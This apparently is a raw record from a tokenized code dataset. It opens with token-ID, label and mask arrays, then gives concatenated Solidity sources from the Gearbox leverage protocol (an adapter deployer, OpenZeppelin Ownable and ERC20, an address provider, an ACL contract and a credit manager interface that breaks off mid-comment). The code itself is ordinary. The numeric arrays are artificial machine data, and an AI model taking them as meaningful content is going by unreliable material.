283,
24903,
329,
63,
3576,
18,
15330,
65,
1011,
404,
31,
203,
203,
3639,
1147,
426,
19117,
375,
12,
3576,
18,
15330,
16,
883,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x268Fc6C5Eb17BE53a8670895be62B414c3E636Ce/sources/contracts/priceProviders/uniswapV3/UniswapV3PriceProviderV3.sol | @dev priceCalculationData: - periodForAvgPrice: Number of seconds for which time-weighted average should be calculated, ie. 1800 is 30 min - blockTime: Estimated blockchain block time | PriceCalculationData public priceCalculationData;
| 16,486,649 | [
1,
8694,
13989,
751,
30,
300,
3879,
1290,
22823,
5147,
30,
3588,
434,
3974,
364,
1492,
813,
17,
30890,
8164,
1410,
506,
8894,
16,
9228,
18,
6549,
713,
353,
5196,
1131,
300,
1203,
950,
30,
17787,
17275,
16766,
1203,
813,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
20137,
13989,
751,
1071,
6205,
13989,
751,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: BUSL-1.1
// Gearbox. Generalized leverage protocol that allows to take leverage and then use it across other DeFi protocols and platforms in a composable way.
// (c) Gearbox.fi, 2021
pragma solidity ^0.7.4;
pragma abicoder v2;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {AddressProvider} from "../core/AddressProvider.sol";
import {ACL} from "../core/ACL.sol";
import {ICreditManager} from "../interfaces/ICreditManager.sol";
import {ICreditFilter} from "../interfaces/ICreditFilter.sol";
import {Constants} from "../libraries/helpers/Constants.sol";
import {Errors} from "../libraries/helpers/Errors.sol";
import {CurveV1Adapter} from "../adapters/CurveV1.sol";
import {UniswapV2Adapter} from "../adapters/UniswapV2.sol";
import {UniswapV3Adapter} from "../adapters/UniswapV3.sol";
import {YearnAdapter} from "../adapters/YearnV2.sol";
contract AdaptersDeployer is Ownable {
struct AdapterConfig {
address targetContract;
// Adapter types:
// UNISWAP_V2 = 1;
// UNISWAP_V3 = 2;
// CURVE_V1 = 3;
// LP_YEARN = 4;
uint256 adapterType;
}
struct DeployOpts {
address addressProvider;
address creditManager;
AdapterConfig[] adapters;
}
struct Adapter {
address adapter;
address targetContract;
}
AddressProvider public addressProvider;
ICreditFilter public creditFilter;
Adapter[] public adapters;
address public root;
constructor(DeployOpts memory opts) {
addressProvider = AddressProvider(opts.addressProvider); // T:[PD-3]
creditFilter = ICreditManager(opts.creditManager).creditFilter(); // T:[PD-3]
address newAdapter; // T:[PD-3]
for (uint256 i = 0; i < opts.adapters.length; i++) {
if (opts.adapters[i].adapterType == Constants.UNISWAP_V2) {
newAdapter = address(
new UniswapV2Adapter(
opts.creditManager,
opts.adapters[i].targetContract
)
); // T:[PD-3]
} else if (opts.adapters[i].adapterType == Constants.UNISWAP_V3) {
newAdapter = address(
new UniswapV3Adapter(
opts.creditManager,
opts.adapters[i].targetContract
)
); // T:[PD-3]
} else if (opts.adapters[i].adapterType == Constants.CURVE_V1) {
newAdapter = address(
new CurveV1Adapter(
opts.creditManager,
opts.adapters[i].targetContract
)
); // T:[PD-3]
} else if (opts.adapters[i].adapterType == Constants.LP_YEARN) {
newAdapter = address(
new YearnAdapter(
opts.creditManager,
opts.adapters[i].targetContract
)
);
} // T:[PD-3]
Adapter memory adapter = Adapter(
newAdapter,
opts.adapters[i].targetContract
); // T:[PD-3]
adapters.push(adapter); // T:[PD-3]
}
root = ACL(addressProvider.getACL()).owner(); // T:Todo
}
function connectAdapters()
external
onlyOwner // T:[PD-3]
{
ACL acl = ACL(addressProvider.getACL()); // T:[PD-3]
for (uint256 i; i < adapters.length; i++) {
creditFilter.allowContract(
adapters[i].targetContract,
adapters[i].adapter
);
}
// creditFilter.allowPlugin(addressProvider.getLeveragedActions());
acl.transferOwnership(root); // T:[PD-3]
// Discussable
// selfdestruct(msg.sender);
}
// Will be used in case of connectAdapters() revert
function getRootBack() external onlyOwner {
ACL acl = ACL(addressProvider.getACL()); // T:[PD-3]
acl.transferOwnership(root);
}
function destoy() external onlyOwner {
selfdestruct(msg.sender);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: BUSL-1.1
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
import {IAppAddressProvider} from "../interfaces/app/IAppAddressProvider.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Errors} from "../libraries/helpers/Errors.sol";
/// @title AddressRepository
/// @notice Stores addresses of deployed contracts
contract AddressProvider is Ownable, IAppAddressProvider {
// Mapping which keeps all addresses
mapping(bytes32 => address) public addresses;
// Emits each time when new address is set
event AddressSet(bytes32 indexed service, address indexed newAddress);
// This event is triggered when a call to ClaimTokens succeeds.
event Claimed(uint256 user_id, address account, uint256 amount, bytes32 leaf);
// Repositories & services
bytes32 public constant CONTRACTS_REGISTER = "CONTRACTS_REGISTER";
bytes32 public constant ACL = "ACL";
bytes32 public constant PRICE_ORACLE = "PRICE_ORACLE";
bytes32 public constant ACCOUNT_FACTORY = "ACCOUNT_FACTORY";
bytes32 public constant DATA_COMPRESSOR = "DATA_COMPRESSOR";
bytes32 public constant TREASURY_CONTRACT = "TREASURY_CONTRACT";
bytes32 public constant GEAR_TOKEN = "GEAR_TOKEN";
bytes32 public constant WETH_TOKEN = "WETH_TOKEN";
bytes32 public constant WETH_GATEWAY = "WETH_GATEWAY";
bytes32 public constant LEVERAGED_ACTIONS = "LEVERAGED_ACTIONS";
// Contract version
uint256 public constant version = 1;
constructor() {
// @dev Emits first event for contract discovery
emit AddressSet("ADDRESS_PROVIDER", address(this));
}
/// @return Address of ACL contract
function getACL() external view returns (address) {
return _getAddress(ACL); // T:[AP-3]
}
/// @dev Sets address of ACL contract
/// @param _address Address of ACL contract
function setACL(address _address)
external
onlyOwner // T:[AP-15]
{
_setAddress(ACL, _address); // T:[AP-3]
}
/// @return Address of ContractsRegister
function getContractsRegister() external view returns (address) {
return _getAddress(CONTRACTS_REGISTER); // T:[AP-4]
}
/// @dev Sets address of ContractsRegister
/// @param _address Address of ContractsRegister
function setContractsRegister(address _address)
external
onlyOwner // T:[AP-15]
{
_setAddress(CONTRACTS_REGISTER, _address); // T:[AP-4]
}
/// @return Address of PriceOracle
function getPriceOracle() external view override returns (address) {
return _getAddress(PRICE_ORACLE); // T:[AP-5]
}
/// @dev Sets address of PriceOracle
/// @param _address Address of PriceOracle
function setPriceOracle(address _address)
external
onlyOwner // T:[AP-15]
{
_setAddress(PRICE_ORACLE, _address); // T:[AP-5]
}
/// @return Address of AccountFactory
function getAccountFactory() external view returns (address) {
return _getAddress(ACCOUNT_FACTORY); // T:[AP-6]
}
/// @dev Sets address of AccountFactory
/// @param _address Address of AccountFactory
function setAccountFactory(address _address)
external
onlyOwner // T:[AP-15]
{
_setAddress(ACCOUNT_FACTORY, _address); // T:[AP-7]
}
/// @return Address of AccountFactory
function getDataCompressor() external view override returns (address) {
return _getAddress(DATA_COMPRESSOR); // T:[AP-8]
}
/// @dev Sets address of AccountFactory
/// @param _address Address of AccountFactory
function setDataCompressor(address _address)
external
onlyOwner // T:[AP-15]
{
_setAddress(DATA_COMPRESSOR, _address); // T:[AP-8]
}
/// @return Address of Treasury contract
function getTreasuryContract() external view returns (address) {
return _getAddress(TREASURY_CONTRACT); //T:[AP-11]
}
/// @dev Sets address of Treasury Contract
/// @param _address Address of Treasury Contract
function setTreasuryContract(address _address)
external
onlyOwner // T:[AP-15]
{
_setAddress(TREASURY_CONTRACT, _address); //T:[AP-11]
}
/// @return Address of GEAR token
function getGearToken() external view override returns (address) {
return _getAddress(GEAR_TOKEN); // T:[AP-12]
}
/// @dev Sets address of GEAR token
/// @param _address Address of GEAR token
function setGearToken(address _address)
external
onlyOwner // T:[AP-15]
{
_setAddress(GEAR_TOKEN, _address); // T:[AP-12]
}
/// @return Address of WETH token
function getWethToken() external view override returns (address) {
return _getAddress(WETH_TOKEN); // T:[AP-13]
}
/// @dev Sets address of WETH token
/// @param _address Address of WETH token
function setWethToken(address _address)
external
onlyOwner // T:[AP-15]
{
_setAddress(WETH_TOKEN, _address); // T:[AP-13]
}
/// @return Address of WETH token
function getWETHGateway() external view override returns (address) {
return _getAddress(WETH_GATEWAY); // T:[AP-14]
}
/// @dev Sets address of WETH token
/// @param _address Address of WETH token
function setWETHGateway(address _address)
external
onlyOwner // T:[AP-15]
{
_setAddress(WETH_GATEWAY, _address); // T:[AP-14]
}
/// @return Address of WETH token
function getLeveragedActions() external view override returns (address) {
return _getAddress(LEVERAGED_ACTIONS); // T:[AP-7]
}
/// @dev Sets address of WETH token
/// @param _address Address of WETH token
function setLeveragedActions(address _address)
external
onlyOwner // T:[AP-15]
{
_setAddress(LEVERAGED_ACTIONS, _address); // T:[AP-7]
}
/// @return Address of key, reverts if key doesn't exist
function _getAddress(bytes32 key) internal view returns (address) {
address result = addresses[key];
require(result != address(0), Errors.AS_ADDRESS_NOT_FOUND); // T:[AP-1]
return result; // T:[AP-3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]
}
/// @dev Sets address to map by its key
/// @param key Key in string format
/// @param value Address
function _setAddress(bytes32 key, address value) internal {
addresses[key] = value; // T:[AP-3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]
emit AddressSet(key, value); // T:[AP-2]
}
}
// SPDX-License-Identifier: BUSL-1.1
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Errors} from "../libraries/helpers/Errors.sol";
/// @title ACL keeps admins addresses
/// More info: https://dev.gearbox.fi/security/roles
contract ACL is Ownable {
mapping(address => bool) public pausableAdminSet;
mapping(address => bool) public unpausableAdminSet;
// Contract version
uint256 public constant version = 1;
// emits each time when new pausable admin added
event PausableAdminAdded(address indexed newAdmin);
// emits each time when pausable admin removed
event PausableAdminRemoved(address indexed admin);
// emits each time when new unpausable admin added
event UnpausableAdminAdded(address indexed newAdmin);
// emits each times when unpausable admin removed
event UnpausableAdminRemoved(address indexed admin);
/// @dev Adds pausable admin address
/// @param newAdmin Address of new pausable admin
function addPausableAdmin(address newAdmin)
external
onlyOwner // T:[ACL-1]
{
pausableAdminSet[newAdmin] = true; // T:[ACL-2]
emit PausableAdminAdded(newAdmin); // T:[ACL-2]
}
/// @dev Removes pausable admin
/// @param admin Address of admin which should be removed
function removePausableAdmin(address admin)
external
onlyOwner // T:[ACL-1]
{
pausableAdminSet[admin] = false; // T:[ACL-3]
emit PausableAdminRemoved(admin); // T:[ACL-3]
}
/// @dev Returns true if the address is pausable admin and false if not
function isPausableAdmin(address addr) external view returns (bool) {
return pausableAdminSet[addr]; // T:[ACL-2,3]
}
/// @dev Adds unpausable admin address to the list
/// @param newAdmin Address of new unpausable admin
function addUnpausableAdmin(address newAdmin)
external
onlyOwner // T:[ACL-1]
{
unpausableAdminSet[newAdmin] = true; // T:[ACL-4]
emit UnpausableAdminAdded(newAdmin); // T:[ACL-4]
}
/// @dev Removes unpausable admin
/// @param admin Address of admin to be removed
function removeUnpausableAdmin(address admin)
external
onlyOwner // T:[ACL-1]
{
unpausableAdminSet[admin] = false; // T:[ACL-5]
emit UnpausableAdminRemoved(admin); // T:[ACL-5]
}
/// @dev Returns true if the address is unpausable admin and false if not
function isUnpausableAdmin(address addr) external view returns (bool) {
return unpausableAdminSet[addr]; // T:[ACL-4,5]
}
/// @dev Returns true if addr has configurator rights
function isConfigurator(address account) external view returns (bool) {
return account == owner(); // T:[ACL-6]
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
pragma abicoder v2;
import {ICreditFilter} from "../interfaces/ICreditFilter.sol";
import {IAppCreditManager} from "./app/IAppCreditManager.sol";
import {DataTypes} from "../libraries/data/Types.sol";
/// @title Credit Manager interface
/// @notice It encapsulates business logic for managing credit accounts
///
/// More info: https://dev.gearbox.fi/developers/credit/credit_manager
interface ICreditManager is IAppCreditManager {
// Emits each time when the credit account is opened
event OpenCreditAccount(
address indexed sender,
address indexed onBehalfOf,
address indexed creditAccount,
uint256 amount,
uint256 borrowAmount,
uint256 referralCode
);
// Emits each time when the credit account is closed
event CloseCreditAccount(
address indexed owner,
address indexed to,
uint256 remainingFunds
);
// Emits each time when the credit account is liquidated
event LiquidateCreditAccount(
address indexed owner,
address indexed liquidator,
uint256 remainingFunds
);
// Emits each time when borrower increases borrowed amount
event IncreaseBorrowedAmount(address indexed borrower, uint256 amount);
// Emits each time when borrower adds collateral
event AddCollateral(
address indexed onBehalfOf,
address indexed token,
uint256 value
);
// Emits each time when the credit account is repaid
event RepayCreditAccount(address indexed owner, address indexed to);
// Emit each time when financial order is executed
event ExecuteOrder(address indexed borrower, address indexed target);
// Emits each time when new fees are set
event NewParameters(
uint256 minAmount,
uint256 maxAmount,
uint256 maxLeverage,
uint256 feeInterest,
uint256 feeLiquidation,
uint256 liquidationDiscount
);
event TransferAccount(address indexed oldOwner, address indexed newOwner);
//
// CREDIT ACCOUNT MANAGEMENT
//
/**
* @dev Opens credit account and provides credit funds.
* - Opens credit account (take it from account factory)
* - Transfers trader /farmers initial funds to credit account
* - Transfers borrowed leveraged amount from pool (= amount x leverageFactor) calling lendCreditAccount() on connected Pool contract.
* - Emits OpenCreditAccount event
* Function reverts if user has already opened position
*
* More info: https://dev.gearbox.fi/developers/credit/credit_manager#open-credit-account
*
* @param amount Borrowers own funds
* @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
* wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
* is a different wallet
* @param leverageFactor Multiplier to borrowers own funds
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
*/
function openCreditAccount(
uint256 amount,
address onBehalfOf,
uint256 leverageFactor,
uint256 referralCode
) external override;
/**
* @dev Closes credit account
* - Swaps all assets to underlying one using default swap protocol
* - Pays borrowed amount + interest accrued + fees back to the pool by calling repayCreditAccount
* - Transfers remaining funds to the trader / farmer
* - Closes the credit account and return it to account factory
* - Emits CloseCreditAccount event
*
* More info: https://dev.gearbox.fi/developers/credit/credit_manager#close-credit-account
*
* @param to Address to send remaining funds
* @param paths Exchange type data which provides paths + amountMinOut
*/
function closeCreditAccount(address to, DataTypes.Exchange[] calldata paths)
external
override;
/**
* @dev Liquidates credit account
* - Transfers discounted total credit account value from liquidators account
* - Pays borrowed funds + interest + fees back to pool, than transfers remaining funds to credit account owner
* - Transfer all assets from credit account to liquidator ("to") account
* - Returns credit account to factory
* - Emits LiquidateCreditAccount event
*
* More info: https://dev.gearbox.fi/developers/credit/credit_manager#liquidate-credit-account
*
* @param borrower Borrower address
* @param to Address to transfer all assets from credit account
* @param force If true, use transfer function for transferring tokens instead of safeTransfer
*/
function liquidateCreditAccount(
address borrower,
address to,
bool force
) external;
/// @dev Repays credit account
/// More info: https://dev.gearbox.fi/developers/credit/credit_manager#repay-credit-account
///
/// @param to Address to send credit account assets
function repayCreditAccount(address to) external override;
/// @dev Repays credit account with ETH. Restricted to be called by WETH Gateway only
///
/// @param borrower Address of borrower
/// @param to Address to send credit account assets
function repayCreditAccountETH(address borrower, address to)
external
returns (uint256);
/// @dev Increases borrowed amount by transferring additional funds from
/// the pool if after that HealthFactor > minHealth
/// More info: https://dev.gearbox.fi/developers/credit/credit_manager#increase-borrowed-amount
///
/// @param amount Amount to increase borrowed amount
function increaseBorrowedAmount(uint256 amount) external override;
/// @dev Adds collateral to borrower's credit account
/// @param onBehalfOf Address of borrower to add funds
/// @param token Token address
/// @param amount Amount to add
function addCollateral(
address onBehalfOf,
address token,
uint256 amount
) external override;
/// @dev Returns true if the borrower has opened a credit account
/// @param borrower Borrower account
function hasOpenedCreditAccount(address borrower)
external
view
override
returns (bool);
/// @dev Calculates Repay amount = borrow amount + interest accrued + fee
///
